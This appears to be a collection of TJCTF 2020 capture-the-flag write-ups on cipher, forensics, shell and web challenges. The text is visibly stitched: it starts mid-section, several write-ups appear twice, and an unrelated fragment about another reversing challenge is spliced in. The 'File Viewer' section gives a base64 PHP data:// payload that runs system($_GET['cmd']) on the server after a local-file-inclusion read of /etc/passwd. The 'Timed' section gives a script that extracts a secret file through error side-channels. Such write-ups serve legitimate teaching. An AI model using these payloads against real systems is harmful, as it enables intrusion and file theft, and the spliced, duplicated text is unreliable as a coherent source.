Side note: when writing the writeup I thought about another very easy way to get theflag, We know that we can see errors happening in the execution of commends sowe can just raise an error with the flag !, For that you need you need to use the errortype NameError to raise an error with a string but it is still a much easier and very coolway to get the flag, you can see it in action in the following picture:

**Resources:*** Pwntools : http://docs.pwntools.com* All-Army Cyberstakes! Dumping SQLite Database w/ Timing Attack : https://youtu.be/fZ3mPRctbO0
## Truly Terrible WhyYour friend gave you a remote shell to his computer and challenged you to get in, but something seems a little off... The terminal you have seems almost like it isn't responding to any of the commands you put in! Figure out how to fix the problem and get into his account to find the flag! Note: networking has been disabled on the remote shell that you have. Also, if the problem immediately kicks you off after typing in one command, it is broken. Please let the organizers know if that happens.hint : Think about program I/O on linux
`nc 52.205.246.189 9000`
**tjctf{ptys_sure_are_neat}**
This challenge was very fair in my opinion but it was easy to overcomplicate it(as I admittedly did in the beginning).When you connect to the server you are greeted with the following message:

And for every input we give no output is returned.First I tried doing blind enumaration of the files in the server using similar methods as I used in Timedbut the only true way I found to do that was to disconnect from the server using exitevery time a character match... which quickly led to me being banned from the server andso I stopped and moved to other challenges.In the meantime the challenge was patched and using the exit command no longer worked,And the hint was published.As the hint suggested there is something off about the I/O of the shellsuch that we can't see the output.But, We know that we are connected to the standard input of the shell beacuse we can execute commands.So I tried using output redirection so that the output of the commands will be redirctedto the standard input (file descriptor 0) et voila:

We got a working shell!, From thereon I tried getting an interactive shell using the common methods(listed in resources) and spawned a new shell with the output redirected to standard input:

Now we can now use the shell as (almost) a regular shell, so we can use the arrow keys anduse the sudo command, We can also see now that we are connected as problem-user.Let's see what is written in the text files:

From the message we can assume that we need to connect to other-user, And because we are givenproblem-user password we will probably need to use it for that.The first Thing I do in this situations is to check the user sodu privillages using sudo -l command:

So we run /usr/bin/chguser as root:

And as you can see by doing we connect to other-user and we are dropped at his home folder,And we got our flag.
**Resources:*** Getting fully interactive shell : https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/* Linux Redirection : https://www.guru99.com/linux-redirection.html
## Zipped UpMy friend changed the password of his Minecraft account that I was using so that I would stop being so addicted. Now he wants me to work for the password and sent me this zip file. I tried unzipping the folder, but it just led to another zipped file. Can you find me the password so I can play Minecraft again?
[link](https://static.tjctf.org/663d7cda5bde67bd38a8de1f07fb9fab9dd8dd0b75607bb459c899acb0ace980_0.zip)
**tjctf{p3sky_z1p_f1L35}**
This type of challange is pretty common in CTFs and most of the times it can be summedup to tweaking the code so that it will work with the current challenge,As you can see each compressed file contains a txt and another compressed file in a directory,If you look further you can see that there is a false flag tjctf{n0t_th3_fl4g}in some txt files (actually in all of them but one afaik).So, I wrote (mostly tweaked) a short bash scipt to not only find compressed files in the working directory and unzip them,But also check the content of the txt file and if it's not the false flag print it and stop the execution:
```bash#!/bin/bashget_flag() { for filename in $(pwd)/*; do echo "$filename" if [[ $(mimetype -b "$filename") == "application/zip" ]] then unzip "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-bzip-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "text/plain" ]] then if [[ $(cat "$filename") != "tjctf{n0t_th3_fl4g}" ]] then cat "$filename" return fi fi done}
find_dir(){ for filename in $(pwd)/*; do if [[ -d "$filename" ]] then cd "$filename" get_flag return fi done}echo startget_flag```
And after 829 (!) files unzipped we find the first (and afaik the only) text file that contains the flag.
***# Cryptography
## Circles
**tjctf{B3auT1ful_f0Nt}**
Some typefaces are mysterious, like this one - its origins are an enigma wrapped within a riddle, indeed.
hint : To obtain the flag, you should find the font that was used to encode the message in the picture. If you Google the description of the problem, the first website that pops up seems promising. Using a dictionary to guess/bruteforce words without finding the font will not help you. Each circle in the image represents an alphanumeric character that is part of the flag. The brackets and the underscore in the image are NOT part of the font used to encrypt the flag.

**tjctf{B3auT1ful_f0Nt}**
This challenge was really guessy and quite frustrating, As the hint suggested if we search for the challenge descriptionwe find the site fonts.com and by searching the word circular in it (yeah I know) we find our typeface:

Now that we know the name of the typeface lets find its characters map,By seaching just that I found the typeface character map (linked below) and decoded the flag.
**Resources:*** USF Circular Designs : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/packages* Character map : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/regular
## SpeedrunnerI want to make it into the hall of fame -- a top runner in "The History of American Dad Speedrunning". But to do that, I'll need to be faster. I found some weird parts in the American Dad source code. I think it might help me become the best.
[link](https://static.tjctf.org/6e61ec43e56cff1441f4cef46594bf75869a2c66cb47e86699e36577fbc746ff_encoded.txt)
**tjctf{new_tech_new_tech_go_fast_go_fast}**
In the link we get the following ciphertext:
LJW HXD YUNJBN WXC DBN CQN CNAV "FXAUM ANLXAM'? RC'B ENAH VRBUNJMRWP JWM JBBDVNB CQJC CQN ERMNX YXBCNM RB CQN OJBCNBC CRVN, FQNAN RW OJLC BXVNXWN NUBN LXDUM QJEN J OJBCNA, DWANLXAMNM ENABRXW. LXDUM HXD YUNJBN DBN CQN CNAV KTCFENJJJEKVXOBAL (KNBC TWXFW CRVN FRCQ ERMNX NERMNWLN JB JYYAXENM JWM ENARORNM KH VNVKNAB XO CQN BYNNM ADWWRWP LXVVDWRCH) RW CQN ODCDAN. CQRB FXDUM QNUY UXFNA LXWODBRXW RW CQNBN CHYNB XO ERMNXB RW ANPJAM CX CQN NENA DYMJCRWP JWM NEXUERWP WJCDAN XO CQN BYNNMADWWRWP LXVVDWRCH.
CSLCO{WNF_CNLQ_WNF_CNLQ_PX_OJBC_PX_OJBC}
We can notice that the format of the last line somewhat matches the format for the flag so we canassume the cipher is letter substitution, a type of cipher where each letter inthe plaintext is subtituted with another letter, I copied the text to CyberTextand tried to use shift ciphers to decrpyt the message, Shift cipher are a typeof cipher in which every letter is shifted by a known offset to a different letter,ROT13 and Ceaser Cipher are some famous exemple of this type of cipher where theoffsets are 13 and 3 respectably, with an offset of 17 we get the following message:
CAN YOU PLEASE NOT USE THE TERM "WORLD RECORD'? IT'S VERY MISLEADING AND ASSUMES THAT THE VIDEO POSTED IS THE FASTEST TIME, WHERE IN FACT SOMEONE ELSE COULD HAVE A FASTER, UNRECORDED VERSION. COULD YOU PLEASE USE THE TERM BKTWVEAAAVBMOFSRC (BEST KNOWN TIME WITH VIDEO EVIDENCE AS APPROVED AND VERIFIED BY MEMBERS OF THE SPEED RUNNING COMMUNITY) IN THE FUTURE. THIS WOULD HELP LOWER CONFUSION IN THESE TYPES OF VIDEOS IN REGARD TO THE EVER UPDATING AND EVOLVING NATURE OF THE SPEEDRUNNING COMMUNITY.
TJCTF{NEW_TECH_NEW_TECH_GO_FAST_GO_FAST}
**Resources:*** CyberChef : https://gchq.github.io/CyberChef/* Ceaser Cipher : https://en.wikipedia.org/wiki/Caesar_cipher* Substitution Cipher : https://en.wikipedia.org/wiki/Substitution_cipher
## Tap DancingMy friend is trying to teach me to dance, but I am not rhythmically coordinated! They sent me a list of dance moves but they're all numbers! Can you help me figure out what they mean so I can learn the dance?
[link](https://static.tjctf.org/518d6851c71c5482dbd5bbe812b678684238c8f4e9e9b3d95a188f7db83a0870_cipher.txt)
**tjctf{m0rsen0tb4se3}**
In the link we get the following cipher:
1101111102120222020120111110101222022221022202022211
As you can see there are three symbol in this cipher and suspiciously one of them is sparse,So I assumed that this is morse (and honestly it will be weird if there isn't even one morse challenge in a CTF)I assumed that zeros symbolize spaces and the twos and ones are . and - respectably, I got the following morse code:
-- ----- .-. ... . -. ----- - -... ....- ... . ...--
I plugged the morse code into CyberChef and got the flag.
**Resources*** Morse Code (do i really need to add that!?) : https://en.wikipedia.org/wiki/Morse_code
## TypewriterOh no! I thought I typed down the correct flag for this problem on my typewriter, but it came out all jumbled on the paper. Someone must have switched the inner hammers around! According to the paper, the flag is zpezy{ktr_gkqfut_hxkhst_tyukokkgotyt_hoftqhhst_ykxoz_qxilrtxiyf}.
hint:a becomes q, b becomes w, c becomes e, f becomes y, j becomes p, t becomes z, and z becomes m. Do you see the pattern?
**tjctf{red_orange_purple_efgrirroiefe_pineapple_fruit_auhsdeuhfn}**
As the hint suggested this is a qwerty monoalphabetic cipher,Meaning that every letter is subtituted with the corresponding in the keyboard with the same position(from up to down and from left to right).For decrpyting that cipher I used an awesome site called dcode.fr and by using their monoalphabetic decoderwith the key: QWERTYUIOPASDFGHJKLZXCVBNM I got the flag.
**Resources:*** decode.fr : https://www.dcode.fr/en* qwerty : https://en.wikipedia.org/wiki/QWERTY
## TitanicI wrapped tjctf{} around the lowercase version of a word said in the 1997 film "Titanic" and created an MD5 hash of it: 9326ea0931baf5786cde7f280f965ebb.
**tjctf{marlborough's}**
this challenge is very straightforward but steggered me for a long time because I couldn't find the right word,We know that our flag is said in the movie so sensibly we need to look for the script, I found one of them onlineand used a tool named CeWL to make the script a wordlist, After that I wrote a shrt python script that read every word,make it lowercase and wraps it with the flag format, and then I ran Hashcat on it.BUT it didn't work...After that I tried doing the same on several other scripts and none of them worked.Now what's worked for me in the end was to use subtitles and not the original script in the hope that some of the wordswere different, for that I used the subtitles listed below, the file looks like that:

There was a lot of work to do obviously so I wrote a script that removes the unnecessary characters,saparetes the words, and wraps them in the flag format, now that we finally have the wordlist (added below)we can use hashcat, a program which breaks hashes using dictionary attack, we run hashcat using the following commands:hashcat -a 0 -m 0 hash.txt wordlist.txtand get the following output:

**Resources:*** subtitle Titanic.1997.1080p.720p.BluRay.x264.[YTS.AG] : https://yts-subs.com/subtitles/titanic19971080p720pblurayx264ytsag-english-100199* wordlist : [link](assets//wordlists//titanic_wordlist.txt)* CeWL : https://tools.kali.org/password-attacks/cewl* hashcat : https://tools.kali.org/password-attacks/hashcat
***# Reversing
## ForwardingIt can't be that hard... right?
[link](https://static.tjctf.org/d9c4527bc1d5c58c1192f00f2e2ff68f84c345fd2522aeee63a0916897197a7a_forwarding)
**tjctf{just_g3tt1n9_st4rt3d}**
This time we get a file with the challenge, if we check the type of the filewe can see that it is an ELF, a type of Unix executable:

I checked if the flag is saved in string format in the file, for that Wecan use the strings command which finds strings in the executable, And then usegrep and regex to filter the strings in the binary for the flagI used the following command:
strings forwarding | grep 'tjctf{.*}'
and got the following output:

**Resources:*** ELF file : https://en.wikipedia.org/wiki/Executable_and_Linkable_Form* Regex : https://en.wikipedia.org/wiki/Regular_expression
***
# Web
## Broken ButtonThis site is telling me all I need to do is click a button to find the flag! Is it really that easy?
[link](https://broken_button.tjctf.org/)
**tjctf{wHa1_A_Gr8_1nsp3ct0r!}**
when we go to the site we get this massage:

If we Inspect the site (Ctrl+Shift+I) we see that there is a hidden button inthe HTML code:

And when we look at the HTML file that is referenced by the by the hiddenbutton we get our flag.
## File ViewerSo I've been developing this really cool site where you can read text files! It's still in beta mode, though, so there's only six files you can read.
Hint : The flag is in one directory somewhere on the server, all you have to do is find it...Oh wait. You don't have a shell, do you?
[link](http://file_viewer.tjctf.org/)
**tjctf{n1c3_j0b_with_lf1_2_rc3}**
Here is another challenge I spent a lot of time (and tears) on mostly because I was stubborn and didn't tryto use the resources I have.when we go to the site we get the following message:

When we pick a random file from the list, I chose pinnapples.txt we get:

Now take a look at the address for the file, as we can see, there is a PHP file which takes as an argument a file variablewhich is in our case sets to pinnapples.txt, lets try to see if we can see other files in the server,I guessed this is a linux server (which most servers are) and tried to change the variable to /etc/passwda file which is by default accessible to all users and services on the server:

Jackpot! we have local file inclusion vulnerability on the machine, which means that we can read any file on this system.At this point I will spare you all the troubles I went through to find what to do next and skip to the solution,we can use PayloadAllTheThing, A great github repository linked below for finding web payloads, and search for a payloadwhich works for us, I eventually used the data:// wrapper which posts data to the server side and injects our PHP code,I used the following payload which let us run commands in the server:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=**your command**
the payloads injects the following code to the server in base64 format:
```php
```
Which executes in the systems the value of the cmd variable and echoes 'Shell done'.by using the ls command we get the following:

We see we have a strange directory our current directory when use ls in the folder we get:

We found our flag, now for us to read the flag we need to encode the file to base64.The reason is that if we read a PHP file without encoding it the file will be executedbeacuse the web browser reads the content of the file as code and not text, I used the following payload for that:PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=cat i_wonder_whats_in_here/* | base64which roughly translates to:
```php
```
And lo and behold we got our base64 encoded flag! :

**Resources:*** PayloadAllTheThing : https://github.com/swisskyrepo/PayloadsAllTheThings/ * The used payload: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-data* File Inclusion Vulnerability : https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
***# Forensics## Ling LingWho made this meme? I made this meme! unless.....
[link](https://static.tjctf.org/d25fe79e6276ed73a0f7009294e28c035437d7c7ffe2f46285e9eb5ac94b6bec_meme.png)
**tjctf{ch0p1n_fl4gs}**
When we go to the link we get the following image:

The meaning of the image is beyond me, Lets look at the image metadata, we can do that using the exiftool command:

And as you can see our flag is listed in the artist attribute.
**Resources*** Exiftool : https://linux.die.net/man/1/exiftool* Me when I saw the meme : https://i.kym-cdn.com/entries/icons/original/000/018/489/nick-young-confused-face-300x256-nqlyaa.jpg
## Rap GodMy rapper friend Big Y sent me his latest track but something sounded a little off about it. Help me find out if he was trying to tell me something with it. Submit your answer as tjctf{message}
[link](https://static.tjctf.org/302ed01b56ae5988e8b8ad8d9bba402a2934c71508593f5dc9e95aed913d20cf_BigYAudio.mp3)
**tjctf{quicksonic}**
This was a nice audio steganography challange, When we hear the audio we can notice some weird buzzing,esecially in the left ear, So I assumed from experience that there is a channel with an hideen messege encoded in.For this challenge I used Sonic Visualiser but I think you can use most of the music processing programs out here,When we open the file in Sonic Visualiser and open the spectogram viewer we see the following:

We got an encoded image in the audio!,Now let's saparete the channels and look at channel 2:

And we got the image, There are some weird symbols in there which look like emojisbut not quite, These are actually symbols from a font called Wingdings which was developedby Microsoft and was used before emojis existed (weird times...), and gained notoriety afterthe 9/11 attacks, we can use dcode.fr again with their Wingdings font translator toget our flag:

**Resources:*** Sonic Visualiser : https://www.sonicvisualiser.org/* Wingdings : https://en.wikipedia.org/wiki/Wingdings#9/11_attacks* dcode.fr Wingdings translator : https://www.dcode.fr/wingdings-fontM |
Reverse engineering with Ghidra give me a source code which is difficult to read and analysis.So rewrite with python and got the logic of loop.Each function return specific value if we selected * Eat healthy : 4* Do 50 push-ups : 1* Go Sleep : 3* Go Run : 2
```if user_input == 3: # // if 3 execetely go_run = 2 #return value current_weight = current_weight - go_run # // 211 - 2 = 209 print current_weightelse: if user_input != 4: day += 1 go_sleep = 3 # return value current_weight = current_weight - go_sleep;```Above conditions show, if user choose 3 (go_run) script will do two jobs go_run and go_sleep.So * Day 1. 3 go_run ( 211 - 2 - 3 = 206 )* Day 2. 3 go_run ( 206 - 2 - 3 = 201 )* Day 3. 3 go_run ( 201 - 2 -3 = 196 )* Day 4. 3 go_run ( 196 - 2 -3 = 191 )* Day 5. 3 go_run ( 191 - 2 -3 = 186 )* Day 6. 3 go_run ( 186 - 2 - 3 = 181 )* Day 7. 2 Do 50 push-ups ( 181 - 1 = 180 )
They give us flag as `tjctf{w3iGht_l055_i5_d1ff1CuLt}` |
# **TJCTF 2020**
TJCTF is a Capture the Flag (CTF) competition hosted by TJHSST's Computer Security Club. It is an online, jeopardy-style competition targeted at high schoolers interested in Computer Science and Cybersecurity. Participants may compete on a team of up to 5 people, and will solve problems in categories such as Binary Exploitation, Reverse Engineering, Web Exploitation, Forensics, and Cryptography in order to gain points. The eligible teams with the most points will win prizes at the end of the competition.
This is my first writeup of a CTF and the fifth or sixth CTF I participated in,if you have any comments, questions, or found any mistakes (which I'm sure there are a lot of)please let me know. Thanks for reading!
***
# Table of Contents* [Miscellaneous](#Miscellaneous) - [A First Step](#a-first-step) - [Discord](#discord) - [Censorship](#censorship) - [Timed](#timed) - [Truly Terrible Why](#truly-terrible-why) - [Zipped Up](#zipped-up)* [Cryptography](#cryptography) - [Circles](#circles) - [Speedrunner](#speedrunner) - [Tap Dancing](#tap-dancing) - [Typewriter](#typewriter) - [Titanic](#titanic)* [Reversing](#reversing) - [Forwarding](#forwarding)* [Web](#web) - [Broken Button](#broken-button) - [File Viewer](#file-viewer)* [Forensics](#Forensics) - [Ling Ling](#ling-ling) - [Rap God](#rap-god)
***# Miscellaneous
## A First StepEvery journey has to start somewhere -- this one starts here (probably).The first flag is tjctf{so0p3r_d0oper_5ecr3t}. Submit it to get your first points!
**tjctf{so0p3r_d0oper_5ecr3t}**
Flag is in the challenge's description
## DiscordStrife, conflict, friction, hostility, disagreement. Come chat with us! We'll be sending out announcements and other important information, and maybe even a flag!
**tjctf{we_love_wumpus}**
Flag is pinned in the Discord server announcements channel
## CensorshipMy friend has some top-secret government intel. He left a message, but the government censored him! They didn't want the information to be leaked, but can you find out what he was trying to say?
` nc p1.tjctf.org 8003 `
**tjctf{TH3_1llum1n4ti_I5_R3aL}**
This challenge I solved by mistake (there are no mistakes just happy accidents) but the solution issomewhat straightforward, when we connect to the server we are greeted with the following meessege:

When we submit the answer we get following meessege:

Which is not the flag (trust me i checked), when we sumbit a wrong answer we get nothing,my first thought was that the flag returned is random and there is a chance that the real flag will be returned,so I wrote a short python script which connects to the server, reads the question and answers it:
```python 3from pwn import remoteimport re
host = "p1.tjctf.org"port = 8003s = remote(host, port)question = s.recvuntil('\n')numbers = re.findall('[0-9]+',str(question))sum = sum([int(a) for a in numbers])s.send('{}\n'.format(sum))print(s.recv())s.close()```
And during debugging I noticed something strange is happening with the output:

As you can see the server is actually returing us the flag each time we answer correctly.But, We can't see it when the output is printed in the terminal,The reason is that '\r' symbol after the flag, The symbol stands for carriage return,And in most terminal nowdays it deletes the written message and returns the cursor to the start of line,Using this symbol can actually make cool looking animation and most of the animationwe see in terminals nowdays use this symbol.
## TimedI found this cool program that times how long Python commands take to run! Unfortunately, the owner seems very paranoid, so there's not really much that you can test. The flag is located in the file flag.txt on the server.
` nc p1.tjctf.org 8005`
**tjctf{iTs_T1m3_f0r_a_flaggg}**
When we connect to the server we get the following message:

I tried using Unix commands first and quickly discovered by the error messagesthat the commands need to be python commands, furthermore, we can't see the outputof the executed commands but only the time it took for the commands to executeor an error message if an error occurred while executing the commands.I tried using python commands and modules to get a shell or get a reverse shell goingfrom the server to my host.for each command I tried I got the following message:

At this point I gave up on getting a shell and tried to see what I cando in this limited enviroment, I wanted to determine first if the commands areexecuted in python 2 or python 3, for that I checked if python recognizedbasestring, an abstract type which can't be found in python 3 and will raise anexception:


Executing basestring in the server didn't return an error message so I determinedthat the environment is python 2, and so I tried to check if I can read afile named flag.txt using python 2 I/O functions:

We can read flag.txt!, now we need to discover the flag using our onlytwo availiable outputs - the time to execute a command or an error message ifsuch error produces.We can do this by going letter by letter and executing a command that comparesthe selected letter with a letter in the flag such that if the letters match the outputwill be different so we can easily point out the matching letters and build the flag.There are two ways to do this, The first one is to use commands suchthat if the letter matches the execution time will be longer and by doingso the total runtime returned will be grater, This type of attack is calledTiming Attack and an exemple of this is linked in the resources.The second one and the one that I used is to raise an exception if the letter match inthe position such that we can the discovery of the letter is not time bound.for doing that I wrote the following code in python 3 using the pwntools module:
```python 3from pwn import remoteimport string
host = "p1.tjctf.org"port = 8005s = remote(host, port)flag = ""index = 0changed = Trues.recvuntil('!\n')while changed: changed = False for c in '_{}' + string.printable: print("testing {}".format(flag + c)) command = '''1/0 if open('flag.txt','r').read({})[{}] == ''{}' else 0\n'''.format(index + 1, index, c) print(command) s.send(command) answer = s.recvuntil("!\n") if b'Traceback' in answer: flag += c changed = True index += 1 break
```
As you can see, the code connects to the server and builds the flag by iteratingover all the printable characters and checking if the command executed raises anerror or not, the command simply checks if the character in a specific positionmatches the current tested character and if so it calculates 1/0 which in pythonthrow an exception (believe it or not there are langauges and modules where 1/0 returns infinity)else the command does nothing, if an error was raised then the letter is added to the flagand the code moves to iterate over the next character in the flie, if we finished iterating over allthe characters and none of them raised a flag we can conclude that we discovered all theflag, and we can see that the code does just that:

Side note: when writing the writeup I thought about another very easy way to get theflag, We know that we can see errors happening in the execution of commends sowe can just raise an error with the flag !, For that you need you need to use the errortype NameError to raise an error with a string but it is still a much easier and very coolway to get the flag, you can see it in action in the following picture:

**Resources:*** Pwntools : http://docs.pwntools.com* All-Army Cyberstakes! Dumping SQLite Database w/ Timing Attack : https://youtu.be/fZ3mPRctbO0
## Truly Terrible WhyYour friend gave you a remote shell to his computer and challenged you to get in, but something seems a little off... The terminal you have seems almost like it isn't responding to any of the commands you put in! Figure out how to fix the problem and get into his account to find the flag! Note: networking has been disabled on the remote shell that you have. Also, if the problem immediately kicks you off after typing in one command, it is broken. Please let the organizers know if that happens.hint : Think about program I/O on linux
`nc 52.205.246.189 9000`
**tjctf{ptys_sure_are_neat}**
This challenge was very fair in my opinion but it was easy to overcomplicate it(as I admittedly did in the beginning).When you connect to the server you are greeted with the following message:

And for every input we give no output is returned.First I tried doing blind enumaration of the files in the server using similar methods as I used in Timedbut the only true way I found to do that was to disconnect from the server using exitevery time a character match... which quickly led to me being banned from the server andso I stopped and moved to other challenges.In the meantime the challenge was patched and using the exit command no longer worked,And the hint was published.As the hint suggested there is something off about the I/O of the shellsuch that we can't see the output.But, We know that we are connected to the standard input of the shell beacuse we can execute commands.So I tried using output redirection so that the output of the commands will be redirctedto the standard input (file descriptor 0) et voila:

We got a working shell!, From thereon I tried getting an interactive shell using the common methods(listed in resources) and spawned a new shell with the output redirected to standard input:

Now we can now use the shell as (almost) a regular shell, so we can use the arrow keys anduse the sudo command, We can also see now that we are connected as problem-user.Let's see what is written in the text files:

From the message we can assume that we need to connect to other-user, And because we are givenproblem-user password we will probably need to use it for that.The first Thing I do in this situations is to check the user sodu privillages using sudo -l command:

So we run /usr/bin/chguser as root:

And as you can see by doing we connect to other-user and we are dropped at his home folder,And we got our flag.
**Resources:*** Getting fully interactive shell : https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/* Linux Redirection : https://www.guru99.com/linux-redirection.html
## Zipped UpMy friend changed the password of his Minecraft account that I was using so that I would stop being so addicted. Now he wants me to work for the password and sent me this zip file. I tried unzipping the folder, but it just led to another zipped file. Can you find me the password so I can play Minecraft again?
[link](https://static.tjctf.org/663d7cda5bde67bd38a8de1f07fb9fab9dd8dd0b75607bb459c899acb0ace980_0.zip)
**tjctf{p3sky_z1p_f1L35}**
This type of challange is pretty common in CTFs and most of the times it can be summedup to tweaking the code so that it will work with the current challenge,As you can see each compressed file contains a txt and another compressed file in a directory,If you look further you can see that there is a false flag tjctf{n0t_th3_fl4g}in some txt files (actually in all of them but one afaik).So, I wrote (mostly tweaked) a short bash scipt to not only find compressed files in the working directory and unzip them,But also check the content of the txt file and if it's not the false flag print it and stop the execution:
```bash#!/bin/bashget_flag() { for filename in $(pwd)/*; do echo "$filename" if [[ $(mimetype -b "$filename") == "application/zip" ]] then unzip "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-bzip-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "text/plain" ]] then if [[ $(cat "$filename") != "tjctf{n0t_th3_fl4g}" ]] then cat "$filename" return fi fi done}
find_dir(){ for filename in $(pwd)/*; do if [[ -d "$filename" ]] then cd "$filename" get_flag return fi done}echo startget_flag```
And after 829 (!) files unzipped we find the first (and afaik the only) text file that contains the flag.
***# Cryptography
## Circles
**tjctf{B3auT1ful_f0Nt}**
Some typefaces are mysterious, like this one - its origins are an enigma wrapped within a riddle, indeed.
hint : To obtain the flag, you should find the font that was used to encode the message in the picture. If you Google the description of the problem, the first website that pops up seems promising. Using a dictionary to guess/bruteforce words without finding the font will not help you. Each circle in the image represents an alphanumeric character that is part of the flag. The brackets and the underscore in the image are NOT part of the font used to encrypt the flag.

**tjctf{B3auT1ful_f0Nt}**
This challenge was really guessy and quite frustrating, As the hint suggested if we search for the challenge descriptionwe find the site fonts.com and by searching the word circular in it (yeah I know) we find our typeface:

Now that we know the name of the typeface lets find its characters map,By seaching just that I found the typeface character map (linked below) and decoded the flag.
**Resources:*** USF Circular Designs : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/packages* Character map : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/regular
## SpeedrunnerI want to make it into the hall of fame -- a top runner in "The History of American Dad Speedrunning". But to do that, I'll need to be faster. I found some weird parts in the American Dad source code. I think it might help me become the best.
[link](https://static.tjctf.org/6e61ec43e56cff1441f4cef46594bf75869a2c66cb47e86699e36577fbc746ff_encoded.txt)
**tjctf{new_tech_new_tech_go_fast_go_fast}**
In the link we get the following ciphertext:
LJW HXD YUNJBN WXC DBN CQN CNAV "FXAUM ANLXAM'? RC'B ENAH VRBUNJMRWP JWM JBBDVNB CQJC CQN ERMNX YXBCNM RB CQN OJBCNBC CRVN, FQNAN RW OJLC BXVNXWN NUBN LXDUM QJEN J OJBCNA, DWANLXAMNM ENABRXW. LXDUM HXD YUNJBN DBN CQN CNAV KTCFENJJJEKVXOBAL (KNBC TWXFW CRVN FRCQ ERMNX NERMNWLN JB JYYAXENM JWM ENARORNM KH VNVKNAB XO CQN BYNNM ADWWRWP LXVVDWRCH) RW CQN ODCDAN. CQRB FXDUM QNUY UXFNA LXWODBRXW RW CQNBN CHYNB XO ERMNXB RW ANPJAM CX CQN NENA DYMJCRWP JWM NEXUERWP WJCDAN XO CQN BYNNMADWWRWP LXVVDWRCH.
CSLCO{WNF_CNLQ_WNF_CNLQ_PX_OJBC_PX_OJBC}
We can notice that the format of the last line somewhat matches the format for the flag so we canassume the cipher is letter substitution, a type of cipher where each letter inthe plaintext is subtituted with another letter, I copied the text to CyberTextand tried to use shift ciphers to decrpyt the message, Shift cipher are a typeof cipher in which every letter is shifted by a known offset to a different letter,ROT13 and Ceaser Cipher are some famous exemple of this type of cipher where theoffsets are 13 and 3 respectably, with an offset of 17 we get the following message:
CAN YOU PLEASE NOT USE THE TERM "WORLD RECORD'? IT'S VERY MISLEADING AND ASSUMES THAT THE VIDEO POSTED IS THE FASTEST TIME, WHERE IN FACT SOMEONE ELSE COULD HAVE A FASTER, UNRECORDED VERSION. COULD YOU PLEASE USE THE TERM BKTWVEAAAVBMOFSRC (BEST KNOWN TIME WITH VIDEO EVIDENCE AS APPROVED AND VERIFIED BY MEMBERS OF THE SPEED RUNNING COMMUNITY) IN THE FUTURE. THIS WOULD HELP LOWER CONFUSION IN THESE TYPES OF VIDEOS IN REGARD TO THE EVER UPDATING AND EVOLVING NATURE OF THE SPEEDRUNNING COMMUNITY.
TJCTF{NEW_TECH_NEW_TECH_GO_FAST_GO_FAST}
**Resources:*** CyberChef : https://gchq.github.io/CyberChef/* Ceaser Cipher : https://en.wikipedia.org/wiki/Caesar_cipher* Substitution Cipher : https://en.wikipedia.org/wiki/Substitution_cipher
## Tap DancingMy friend is trying to teach me to dance, but I am not rhythmically coordinated! They sent me a list of dance moves but they're all numbers! Can you help me figure out what they mean so I can learn the dance?
[link](https://static.tjctf.org/518d6851c71c5482dbd5bbe812b678684238c8f4e9e9b3d95a188f7db83a0870_cipher.txt)
**tjctf{m0rsen0tb4se3}**
In the link we get the following cipher:
1101111102120222020120111110101222022221022202022211
As you can see there are three symbol in this cipher and suspiciously one of them is sparse,So I assumed that this is morse (and honestly it will be weird if there isn't even one morse challenge in a CTF)I assumed that zeros symbolize spaces and the twos and ones are . and - respectably, I got the following morse code:
-- ----- .-. ... . -. ----- - -... ....- ... . ...--
I plugged the morse code into CyberChef and got the flag.
**Resources*** Morse Code (do i really need to add that!?) : https://en.wikipedia.org/wiki/Morse_code
## TypewriterOh no! I thought I typed down the correct flag for this problem on my typewriter, but it came out all jumbled on the paper. Someone must have switched the inner hammers around! According to the paper, the flag is zpezy{ktr_gkqfut_hxkhst_tyukokkgotyt_hoftqhhst_ykxoz_qxilrtxiyf}.
hint:a becomes q, b becomes w, c becomes e, f becomes y, j becomes p, t becomes z, and z becomes m. Do you see the pattern?
**tjctf{red_orange_purple_efgrirroiefe_pineapple_fruit_auhsdeuhfn}**
As the hint suggested this is a qwerty monoalphabetic cipher,Meaning that every letter is subtituted with the corresponding in the keyboard with the same position(from up to down and from left to right).For decrpyting that cipher I used an awesome site called dcode.fr and by using their monoalphabetic decoderwith the key: QWERTYUIOPASDFGHJKLZXCVBNM I got the flag.
**Resources:*** decode.fr : https://www.dcode.fr/en* qwerty : https://en.wikipedia.org/wiki/QWERTY
## TitanicI wrapped tjctf{} around the lowercase version of a word said in the 1997 film "Titanic" and created an MD5 hash of it: 9326ea0931baf5786cde7f280f965ebb.
**tjctf{marlborough's}**
this challenge is very straightforward but steggered me for a long time because I couldn't find the right word,We know that our flag is said in the movie so sensibly we need to look for the script, I found one of them onlineand used a tool named CeWL to make the script a wordlist, After that I wrote a shrt python script that read every word,make it lowercase and wraps it with the flag format, and then I ran Hashcat on it.BUT it didn't work...After that I tried doing the same on several other scripts and none of them worked.Now what's worked for me in the end was to use subtitles and not the original script in the hope that some of the wordswere different, for that I used the subtitles listed below, the file looks like that:

